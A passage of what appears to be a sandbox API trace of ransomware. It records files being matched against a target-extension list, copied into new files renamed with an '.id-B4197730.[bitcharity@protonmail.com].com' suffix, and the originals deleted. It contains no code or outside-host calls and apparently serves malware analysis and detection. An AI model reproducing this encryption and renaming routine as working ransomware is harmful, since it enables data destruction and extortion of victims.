67 [0139.144] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\delete.avi") returned 67 [0139.144] lstrlenW (lpString=".doc") returned 4 [0139.144] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0139.144] lstrlenW (lpString=".docx") returned 5 [0139.145] lstrcmpiW (lpString1=".docx", lpString2="e.avi") returned -1 [0139.145] lstrlenW (lpString=".pdf") returned 4 [0139.145] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0139.145] lstrlenW (lpString=".xls") returned 4 [0139.145] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0139.145] lstrlenW (lpString=".xlsx") returned 5 [0139.145] lstrcmpiW (lpString1=".xlsx", lpString2="e.avi") returned -1 [0139.145] lstrlenW (lpString=".ppt") returned 4 [0139.145] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0139.145] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\delete.avi") returned 67 [0139.145] lstrlenW (lpString=".zip") returned 4 [0139.145] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0139.145] lstrlenW (lpString=".rar") returned 4 [0139.145] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0139.145] lstrlenW (lpString=".bz2") returned 4 [0139.145] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0139.145] lstrlenW (lpString=".7z") returned 3 [0139.145] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0139.145] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\delete.avi") returned 67 [0139.145] lstrlenW (lpString=".dbf") returned 4 [0139.145] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0139.145] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\delete.avi") returned 67 [0139.145] lstrlenW (lpString=".1cd") returned 4 [0139.145] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0139.145] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\delete.avi") returned 67 [0139.145] lstrlenW (lpString=".jpg") returned 4 [0139.145] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0139.145] lstrcmpiW (lpString1=".avi", lpString2=".com") returned -1 [0139.145] lstrlenW (lpString="join.avi") returned 8 [0139.145] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\join.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\join.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10c0 [0139.146] GetFileSizeEx (in: hFile=0x10c0, lpFileSize=0x2f8ff14 | out: lpFileSize=0x2f8ff14*=199994) returned 1 [0139.146] CloseHandle (hObject=0x10c0) returned 1 [0139.146] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\join.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\join.avi")) returned 0x20 [0139.146] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\join.avi.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\join.avi.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0139.146] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\join.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\join.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0139.146] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\join.avi") returned 65 [0139.146] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\join.avi") returned 65 [0139.146] lstrlenW (lpString=".doc") returned 4 [0139.146] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0139.146] lstrlenW (lpString=".docx") returned 5 [0139.146] lstrcmpiW (lpString1=".docx", lpString2="n.avi") returned -1 [0139.146] lstrlenW (lpString=".pdf") returned 4 [0139.146] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0139.146] lstrlenW (lpString=".xls") returned 4 [0139.146] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0139.146] lstrlenW (lpString=".xlsx") returned 5 [0139.146] lstrcmpiW (lpString1=".xlsx", lpString2="n.avi") returned -1 [0139.146] lstrlenW (lpString=".ppt") returned 4 [0139.146] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0139.146] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\join.avi") returned 65 [0139.146] lstrlenW (lpString=".zip") returned 4 [0139.146] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0139.146] lstrlenW (lpString=".rar") returned 4 [0139.146] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0139.147] lstrlenW (lpString=".bz2") returned 4 [0139.147] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0139.147] lstrlenW (lpString=".7z") returned 3 [0139.147] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0139.147] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\join.avi") returned 65 [0139.147] lstrlenW (lpString=".dbf") returned 4 [0139.147] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0139.189] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\FlickAnimation.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\flickanimation.avi"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\FlickAnimation.avi.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\flickanimation.avi.id-b4197730.[bitcharity@protonmail.com].com")) returned 0 [0144.659] SetFilePointerEx (in: hFile=0x1098, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f8fec0 | out: lpNewFilePointer=0x0) returned 1 [0144.659] SetFilePointerEx (in: hFile=0x1098, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f8fec0 | out: lpNewFilePointer=0x0) returned 1 [0144.659] CreateFileW (lpFileName="C:\\Program Files\\desktop.ini.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\desktop.ini.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10b8 [0144.659] GetLastError () returned 0x0 [0144.659] ReadFile (in: hFile=0x1098, lpBuffer=0x39d1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f8fecc, lpOverlapped=0x0 | out: lpBuffer=0x39d1020*, lpNumberOfBytesRead=0x2f8fecc*=0xae, lpOverlapped=0x0) returned 1 [0144.660] WriteFile (in: hFile=0x10b8, lpBuffer=0x39d1020*, nNumberOfBytesToWrite=0xb0, lpNumberOfBytesWritten=0x2f8fc94, lpOverlapped=0x0 | out: lpBuffer=0x39d1020*, lpNumberOfBytesWritten=0x2f8fc94*=0xb0, lpOverlapped=0x0) returned 1 [0144.661] ReadFile (in: hFile=0x1098, lpBuffer=0x39d1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f8fecc, lpOverlapped=0x0 | out: lpBuffer=0x39d1020*, lpNumberOfBytesRead=0x2f8fecc*=0x0, lpOverlapped=0x0) returned 1 [0144.661] WriteFile (in: hFile=0x10b8, lpBuffer=0x39d1020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2f8fc94, lpOverlapped=0x0 | out: lpBuffer=0x39d1020*, lpNumberOfBytesWritten=0x2f8fc94*=0xea, lpOverlapped=0x0) returned 1 [0144.661] SetEndOfFile (hFile=0x10b8) returned 1 [0144.662] CloseHandle (hObject=0x10b8) returned 1 [0144.663] SetFilePointerEx (in: hFile=0x1098, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f8fec0 | out: lpNewFilePointer=0x0) returned 1 [0144.663] SetEndOfFile (hFile=0x1098) returned 1 [0144.664] CloseHandle (hObject=0x1098) returned 1 [0144.664] SetFileAttributesW (lpFileName="C:\\Program Files\\desktop.ini.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x26) returned 1 [0144.664] DeleteFileW (lpFileName="C:\\Program Files\\desktop.ini" (normalized: "c:\\program files\\desktop.ini")) returned 1 [0144.665] lstrlenW (lpString="C:\\Program Files\\desktop.ini") returned 28 [0144.665] lstrlenW (lpString="C:\\Program Files\\desktop.ini") returned 28 [0144.665] lstrlenW (lpString=".doc") returned 4 [0144.665] lstrcmpiW (lpString1=".doc", lpString2=".ini") returned -1 [0144.665] lstrlenW (lpString=".docx") returned 5 [0144.665] lstrcmpiW (lpString1=".docx", lpString2="p.ini") returned -1 [0144.665] lstrlenW (lpString=".pdf") returned 4 [0144.665] lstrcmpiW (lpString1=".pdf", lpString2=".ini") returned 1 [0144.665] lstrlenW (lpString=".xls") returned 4 [0144.665] lstrcmpiW (lpString1=".xls", lpString2=".ini") returned 1 [0144.665] lstrlenW (lpString=".xlsx") returned 5 [0144.665] lstrcmpiW (lpString1=".xlsx", lpString2="p.ini") returned -1 [0144.665] lstrlenW (lpString=".ppt") returned 4 [0144.665] lstrcmpiW (lpString1=".ppt", lpString2=".ini") returned 1 [0144.665] lstrlenW (lpString="C:\\Program Files\\desktop.ini") returned 28 [0144.665] lstrlenW (lpString=".zip") returned 4 [0144.665] lstrcmpiW (lpString1=".zip", lpString2=".ini") returned 1 [0144.665] lstrlenW (lpString=".rar") returned 4 [0144.665] lstrcmpiW (lpString1=".rar", lpString2=".ini") returned 1 [0144.665] lstrlenW (lpString=".bz2") returned 4 [0144.665] lstrcmpiW (lpString1=".bz2", lpString2=".ini") returned -1 [0144.665] lstrlenW (lpString=".7z") returned 3 [0144.665] lstrcmpiW (lpString1=".7z", lpString2="ini") returned -1 [0144.665] lstrlenW (lpString="C:\\Program Files\\desktop.ini") returned 28 [0144.665] lstrlenW (lpString=".dbf") returned 4 [0144.666] lstrcmpiW (lpString1=".dbf", lpString2=".ini") returned -1 [0144.666] lstrlenW (lpString="C:\\Program Files\\desktop.ini") returned 28 [0144.666] lstrlenW (lpString=".1cd") returned 4 [0144.666] lstrcmpiW (lpString1=".1cd", lpString2=".ini") returned -1 [0144.666] lstrlenW (lpString="C:\\Program Files\\desktop.ini") returned 28 [0144.666] lstrlenW (lpString=".jpg") returned 4 [0144.666] lstrcmpiW (lpString1=".jpg", lpString2=".ini") returned 1 [0144.666] lstrlenW (lpString="C:\\Program Files\\desktop.ini") returned 28 [0144.666] lstrlenW (lpString="C:\\Program Files\\desktop.ini") returned 28 [0144.666] lstrlenW (lpString=".doc") returned 4 [0144.666] lstrcmpiW (lpString1=".doc", lpString2=".ini") returned -1 [0144.666] lstrlenW (lpString=".docx") returned 5 [0144.666] lstrcmpiW (lpString1=".docx", lpString2="p.ini") returned -1 [0144.666] lstrlenW (lpString=".pdf") returned 4 [0144.666] lstrcmpiW (lpString1=".pdf", lpString2=".ini") returned 1 [0144.666] lstrlenW (lpString=".xls") returned 4 [0144.666] lstrcmpiW (lpString1=".xls", lpString2=".ini") returned 1 [0144.666] lstrlenW (lpString=".xlsx") returned 5 [0144.666] lstrcmpiW (lpString1=".xlsx", lpString2="p.ini") returned -1 [0144.666] lstrlenW (lpString=".ppt") returned 4 [0144.666] lstrcmpiW (lpString1=".ppt", lpString2=".ini") returned 1 [0144.666] lstrlenW (lpString="C:\\Program Files\\desktop.ini") returned 28 [0144.666] lstrlenW (lpString=".zip") returned 4 [0144.666] lstrcmpiW (lpString1=".zip", lpString2=".ini") returned 1 [0144.666] lstrlenW (lpString=".rar") returned 4 [0144.666] lstrcmpiW (lpString1=".rar", lpString2=".ini") returned 1 [0144.667] lstrlenW (lpString=".bz2") returned 4 [0144.667] lstrcmpiW (lpString1=".bz2", lpString2=".ini") returned -1 [0144.667] lstrlenW (lpString=".7z") returned 3 [0144.667] lstrcmpiW (lpString1=".7z", lpString2="ini") returned -1 [0144.667] lstrlenW (lpString="C:\\Program Files\\desktop.ini") returned 28 [0144.667] lstrlenW (lpString=".dbf") returned 4 [0144.667] lstrcmpiW (lpString1=".dbf", lpString2=".ini") returned -1 [0144.667] lstrlenW (lpString="C:\\Program Files\\desktop.ini") returned 28 [0144.667] lstrlenW (lpString=".1cd") returned 4 [0144.667] lstrcmpiW (lpString1=".1cd", lpString2=".ini") returned -1 [0144.667] lstrlenW (lpString="C:\\Program Files\\desktop.ini") returned 28 [0144.667] lstrlenW (lpString=".jpg") returned 4 [0144.667] lstrcmpiW (lpString1=".jpg", lpString2=".ini") returned 1 [0144.667] lstrcmpiW (lpString1=".txt", lpString2=".com") returned 1 [0144.667] lstrlenW (lpString="Xusage.txt") returned 10 [0144.667] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\Xusage.txt" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\server\\xusage.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1098 [0144.669] GetFileSizeEx (in: hFile=0x1098, lpFileSize=0x2f8ff14 | out: lpFileSize=0x2f8ff14*=1423) returned 1 [0144.669] CloseHandle (hObject=0x1098) returned 1 [0144.669] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\Xusage.txt" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\server\\xusage.txt")) returned 0x20 [0144.669] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\Xusage.txt.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\server\\xusage.txt.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0144.669] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\Xusage.txt" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\server\\xusage.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1098 [0144.669] SetFilePointerEx (in: hFile=0x1098, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f8fec0 | out: lpNewFilePointer=0x0) returned 1 [0144.669] SetFilePointerEx (in: hFile=0x1098, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f8fec0 | out: lpNewFilePointer=0x0) returned 1 [0144.669] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\Xusage.txt.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\server\\xusage.txt.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1090 [0144.693] GetLastError () returned 0x0 [0144.693] ReadFile (in: hFile=0x1098, lpBuffer=0x39d1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f8fecc, lpOverlapped=0x0 | out: lpBuffer=0x39d1020*, lpNumberOfBytesRead=0x2f8fecc*=0x58f, lpOverlapped=0x0) returned 1 [0144.772] WriteFile (in: hFile=0x1090, lpBuffer=0x39d1020*, nNumberOfBytesToWrite=0x590, lpNumberOfBytesWritten=0x2f8fc94, lpOverlapped=0x0 | out: lpBuffer=0x39d1020*, lpNumberOfBytesWritten=0x2f8fc94*=0x590, lpOverlapped=0x0) returned 1 [0144.773] ReadFile (in: hFile=0x1098, lpBuffer=0x39d1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f8fecc, lpOverlapped=0x0 | out: lpBuffer=0x39d1020*, lpNumberOfBytesRead=0x2f8fecc*=0x0, lpOverlapped=0x0) returned 1 [0144.773] WriteFile (in: hFile=0x1090, lpBuffer=0x39d1020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x2f8fc94, lpOverlapped=0x0 | out: lpBuffer=0x39d1020*, lpNumberOfBytesWritten=0x2f8fc94*=0xe8, lpOverlapped=0x0) returned 1 [0144.773] SetEndOfFile (hFile=0x1090) returned 1 [0144.773] CloseHandle (hObject=0x1090) returned 1 [0144.774] SetFilePointerEx (in: hFile=0x1098, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f8fec0 | out: lpNewFilePointer=0x0) returned 1 [0144.774] SetEndOfFile (hFile=0x1098) returned 1 [0144.775] CloseHandle (hObject=0x1098) returned 1 [0144.775] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\Xusage.txt.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x20) returned 1 [0144.775] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\Xusage.txt" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\server\\xusage.txt")) returned 1 [0144.775] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\Xusage.txt") returned 56 [0144.775] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\Xusage.txt") returned 56 [0144.775] lstrlenW (lpString=".doc") returned 4 [0144.775] lstrcmpiW (lpString1=".doc", lpString2=".txt") returned -1 [0144.775] lstrlenW (lpString=".docx") returned 5 [0144.775] lstrcmpiW (lpString1=".docx", lpString2="e.txt") returned -1 [0144.775] lstrlenW (lpString=".pdf") returned 4 [0144.775] lstrcmpiW (lpString1=".pdf", lpString2=".txt") returned -1 [0144.775] lstrlenW (lpString=".xls") returned 4 [0144.776] lstrcmpiW (lpString1=".xls", lpString2=".txt") returned 1 [0144.776] lstrlenW (lpString=".xlsx") returned 5 [0144.776] lstrcmpiW (lpString1=".xlsx", lpString2="e.txt") returned -1 [0144.776] lstrlenW (lpString=".ppt") returned 4 [0144.776] lstrcmpiW (lpString1=".ppt", lpString2=".txt") returned -1 [0144.776] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\Xusage.txt") returned 56 [0144.776] lstrlenW (lpString=".zip") returned 4 [0144.776] lstrcmpiW (lpString1=".zip", lpString2=".txt") returned 1 [0144.776] lstrlenW (lpString=".rar") returned 4 [0144.776] lstrcmpiW (lpString1=".rar", lpString2=".txt") returned -1 [0144.776] lstrlenW (lpString=".bz2") returned 4 [0144.776] lstrcmpiW (lpString1=".bz2", lpString2=".txt") returned -1 [0144.776] lstrlenW (lpString=".7z") returned 3 [0144.776] lstrcmpiW (lpString1=".7z", lpString2="txt") returned -1 [0144.776] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\Xusage.txt") returned 56 [0144.776] lstrlenW (lpString=".dbf") returned 4 [0144.776] lstrcmpiW (lpString1=".dbf", lpString2=".txt") returned -1 [0144.776] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\Xusage.txt") returned 56 [0144.776] lstrlenW (lpString=".1cd") returned 4 [0144.776] lstrcmpiW (lpString1=".1cd", lpString2=".txt") returned -1 [0144.776] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\Xusage.txt") returned 56 [0144.776] lstrlenW (lpString=".jpg") returned 4 [0144.776] lstrcmpiW (lpString1=".jpg", lpString2=".txt") returned -1 [0144.776] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\Xusage.txt") returned 56 [0144.776] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\Xusage.txt") returned 56 [0144.776] lstrlenW (lpString=".doc") returned 4 [0144.776] lstrcmpiW (lpString1=".doc", lpString2=".txt") returned -1 [0144.776] lstrlenW (lpString=".docx") returned 5 [0144.776] lstrcmpiW (lpString1=".docx", lpString2="e.txt") returned -1 [0144.776] lstrlenW (lpString=".pdf") returned 4 [0144.776] lstrcmpiW (lpString1=".pdf", lpString2=".txt") returned -1 [0144.776] lstrlenW (lpString=".xls") returned 4 [0144.776] lstrcmpiW (lpString1=".xls", lpString2=".txt") returned 1 [0144.776] lstrlenW (lpString=".xlsx") returned 5 [0144.776] lstrcmpiW (lpString1=".xlsx", lpString2="e.txt") returned -1 [0144.777] lstrlenW (lpString=".ppt") returned 4 [0144.777] lstrcmpiW (lpString1=".ppt", lpString2=".txt") returned -1 [0144.777] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\Xusage.txt") returned 56 [0144.777] lstrlenW (lpString=".zip") returned 4 [0144.777] lstrcmpiW (lpString1=".zip", lpString2=".txt") returned 1 [0144.777] lstrlenW (lpString=".rar") returned 4 [0144.777] lstrcmpiW (lpString1=".rar", lpString2=".txt") returned -1 [0144.777] lstrlenW (lpString=".bz2") returned 4 [0144.777] lstrcmpiW (lpString1=".bz2", lpString2=".txt") returned -1 [0144.777] lstrlenW (lpString=".7z") returned 3 [0144.777] lstrcmpiW (lpString1=".7z", lpString2="txt") returned -1 [0144.777] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\Xusage.txt") returned 56 [0144.777] lstrlenW (lpString=".dbf") returned 4 [0144.777] lstrcmpiW (lpString1=".dbf", lpString2=".txt") returned -1 [0144.777] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\Xusage.txt") returned 56 [0144.777] lstrlenW (lpString=".1cd") returned 4 [0144.777] lstrcmpiW (lpString1=".1cd", lpString2=".txt") returned -1 [0144.777] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\Xusage.txt") returned 56 [0144.777] lstrlenW (lpString=".jpg") returned 4 [0144.777] lstrcmpiW (lpString1=".jpg", lpString2=".txt") returned -1 [0144.778] lstrcmpiW (lpString1=".gif", lpString2=".com") returned 1 [0144.778] lstrlenW (lpString="splash_11-lic.gif") returned 17 [0144.778] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash_11-lic.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\splash_11-lic.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1098 [0144.778] GetFileSizeEx (in: hFile=0x1098, lpFileSize=0x2f8ff14 | out: lpFileSize=0x2f8ff14*=7805) returned 1 [0144.778] CloseHandle (hObject=0x1098) returned 1 [0144.778] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash_11-lic.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\splash_11-lic.gif")) returned 0x20 [0144.778] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash_11-lic.gif.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\splash_11-lic.gif.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0144.778] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash_11-lic.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\splash_11-lic.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1098 [0144.778] SetFilePointerEx (in: hFile=0x1098, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f8fec0 | out: lpNewFilePointer=0x0) returned 1 [0144.778] SetFilePointerEx (in: hFile=0x1098, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f8fec0 | out: lpNewFilePointer=0x0) returned 1 [0144.778] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash_11-lic.gif.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\splash_11-lic.gif.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1090 [0144.779] GetLastError () returned 0x0 [0144.779] ReadFile (in: hFile=0x1098, lpBuffer=0x39d1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f8fecc, lpOverlapped=0x0 | out: lpBuffer=0x39d1020*, lpNumberOfBytesRead=0x2f8fecc*=0x1e7d, lpOverlapped=0x0) returned 1 [0144.989] WriteFile (in: hFile=0x1090, lpBuffer=0x39d1020*, nNumberOfBytesToWrite=0x1e80, lpNumberOfBytesWritten=0x2f8fc94, lpOverlapped=0x0 | out: lpBuffer=0x39d1020*, lpNumberOfBytesWritten=0x2f8fc94*=0x1e80, lpOverlapped=0x0) returned 1 [0144.991] ReadFile (in: hFile=0x1098, lpBuffer=0x39d1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f8fecc, lpOverlapped=0x0 | out: lpBuffer=0x39d1020*, lpNumberOfBytesRead=0x2f8fecc*=0x0, lpOverlapped=0x0) returned 1 [0144.991] WriteFile (in: hFile=0x1090, lpBuffer=0x39d1020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x2f8fc94, lpOverlapped=0x0 | out: lpBuffer=0x39d1020*, lpNumberOfBytesWritten=0x2f8fc94*=0xf6, lpOverlapped=0x0) returned 1 [0144.991] SetEndOfFile (hFile=0x1090) returned 1 [0144.991] CloseHandle (hObject=0x1090) returned 1 [0144.992] SetFilePointerEx (in: hFile=0x1098, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f8fec0 | out: lpNewFilePointer=0x0) returned 1 [0144.992] SetEndOfFile (hFile=0x1098) returned 1 [0144.993] CloseHandle (hObject=0x1098) returned 1 [0144.993] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash_11-lic.gif.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x20) returned 1 [0144.994] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash_11-lic.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\splash_11-lic.gif")) returned 1 [0144.994] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash_11-lic.gif") returned 63 [0144.994] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash_11-lic.gif") returned 63 [0144.994] lstrlenW (lpString=".doc") returned 4 [0144.994] lstrcmpiW (lpString1=".doc", lpString2=".gif") returned -1 [0144.994] lstrlenW (lpString=".docx") returned 5 [0144.994] lstrcmpiW (lpString1=".docx", lpString2="c.gif") returned -1 [0144.994] lstrlenW (lpString=".pdf") returned 4 [0144.994] lstrcmpiW (lpString1=".pdf", lpString2=".gif") returned 1 [0144.994] lstrlenW (lpString=".xls") returned 4 [0144.994] lstrcmpiW (lpString1=".xls", lpString2=".gif") returned 1 [0144.994] lstrlenW (lpString=".xlsx") returned 5 [0144.994] lstrcmpiW (lpString1=".xlsx", lpString2="c.gif") returned -1 [0144.994] lstrlenW (lpString=".ppt") returned 4 [0144.994] lstrcmpiW (lpString1=".ppt", lpString2=".gif") returned 1 [0144.994] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash_11-lic.gif") returned 63 [0144.995] lstrlenW (lpString=".zip") returned 4 [0144.995] lstrcmpiW (lpString1=".zip", lpString2=".gif") returned 1 [0144.995] lstrlenW (lpString=".rar") returned 4 [0144.995] lstrcmpiW (lpString1=".rar", lpString2=".gif") returned 1 [0144.995] lstrlenW (lpString=".bz2") returned 4 [0144.995] lstrcmpiW (lpString1=".bz2", lpString2=".gif") returned -1 [0144.995] lstrlenW (lpString=".7z") returned 3 [0144.995] lstrcmpiW (lpString1=".7z", lpString2="gif") returned -1 [0144.995] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash_11-lic.gif") returned 63 [0144.995] lstrlenW (lpString=".dbf") returned 4 [0144.995] lstrcmpiW (lpString1=".dbf", lpString2=".gif") returned -1 [0144.995] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash_11-lic.gif") returned 63 [0144.995] lstrlenW (lpString=".1cd") returned 4 [0144.995] lstrcmpiW (lpString1=".1cd", lpString2=".gif") returned -1 [0144.995] lstrlenW (lpString="C:\\Program 